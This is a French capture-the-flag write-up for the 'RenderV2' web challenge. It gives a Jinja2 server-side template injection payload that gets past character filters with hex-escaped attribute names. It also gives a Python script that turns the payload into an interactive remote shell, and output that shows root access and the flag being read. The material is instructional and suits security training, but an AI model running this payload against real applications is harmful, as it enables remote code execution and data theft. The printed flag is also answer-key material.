# RenderV2

**Catégorie:** Web\
**Difficulté:** -\
**Flag:** CTFREI{SST1s\_c4n\_g3t\_qu1t3\_h4rd\_1f\_n0t\_bugg3d\_:p}

## Challenge

{% file src="https://2344605990-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5vTwbgJFy6k3bN4a9ntp%2Fuploads%2F9p41Q8GbzMho4jGbe1Tf%2Frenderv2.zip?alt=media&token=3153261e-2395-46d3-82dc-46e1a0c792e4" %}

{% hint style="info" %}
#### Description

***

Bon mon petit site web s'est fait poutrer je crois...

Par contre maintenant j'ai mis beaucoup de filtres, normalement ça va être dur de récupérer le flag qui est dans `flag.txt` ! 😾

[http://intro.ctfrei.fr:6005](http://intro.ctfrei.fr:6005/)
{% endhint %}

{% hint style="warning" %}
Ce challenge tourne sur un docker et n'est pas disponible
{% endhint %}

## Solution

Il est recommandé de voir [**Render**](render) pour comprendre le fonctionnement de la vulnérabilité, ici, nous n'allons se concentrer que sur le bypass de la restriction de caractères.

Sur le wiki dont nous avons parlé dans la partie 1, un [**payload**](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti#without-several-chars) existe déjà pour éviter tous ces caractères, il suffit de l'adapter, ce qui donne :

```
{{ request | attr('application') | attr('\x5f\x5fglobals\x5f\x5f') | attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f') | attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os') | attr('popen')('<encoded_command>') | attr('read')() }}
```

Ensuite, il faut encoder notre commande en hexa pour éviter le filtre de caractère. On peut créer un script python pour automatiser tout ça :

```python
import requests

URL = "http://intro.ctfrei.fr:6005"

def execute(command: str) -> str:
  encoded_command = ''.join([f'\\x{ord(c):0>2x}' for c in command])
  payload = "{{ request | attr('application') | attr('\\x5f\\x5fglobals\\x5f\\x5f') | attr('\\x5f\\x5fgetitem\\x5f\\x5f')('\\x5f\\x5fbuiltins\\x5f\\x5f') | attr('\\x5f\\x5fgetitem\\x5f\\x5f')('\\x5f\\x5fimport\\x5f\\x5f')('os') | attr('popen')('" + encoded_command + "') | attr('read')() }}"
  response = requests.get(f'{URL}/?name={payload}')
  return response.text.split('<h1>', 1)[1].rsplit('</h1>', 1)[0][3:].strip()

def main():
  while True:
    print(execute(input('$ ')))

if __name__ == '__main__':
  main()
```

```
python renderv2.py

$ whoami
root

$ ls -al
total 24
drwxr-xr-x 1 root root 4096 Oct  6 14:58 .
drwxr-xr-x 1 root root 4096 Sep 29 13:47 ..
drwxr-xr-x 2 root root 4096 Oct  6 14:58 __pycache__
-rw-r--r-- 1 root root  481 Oct  5 16:33 app.py
-rw-r--r-- 1 root root   49 Oct  5 16:35 flag.txt

$ cat flag.txt
CTFREI{SST1s_c4n_g3t_qu1t3_h4rd_1f_n0t_bugg3d_:p}
```

_oui oui, on avait les droits pour modifier flag.txt :)_
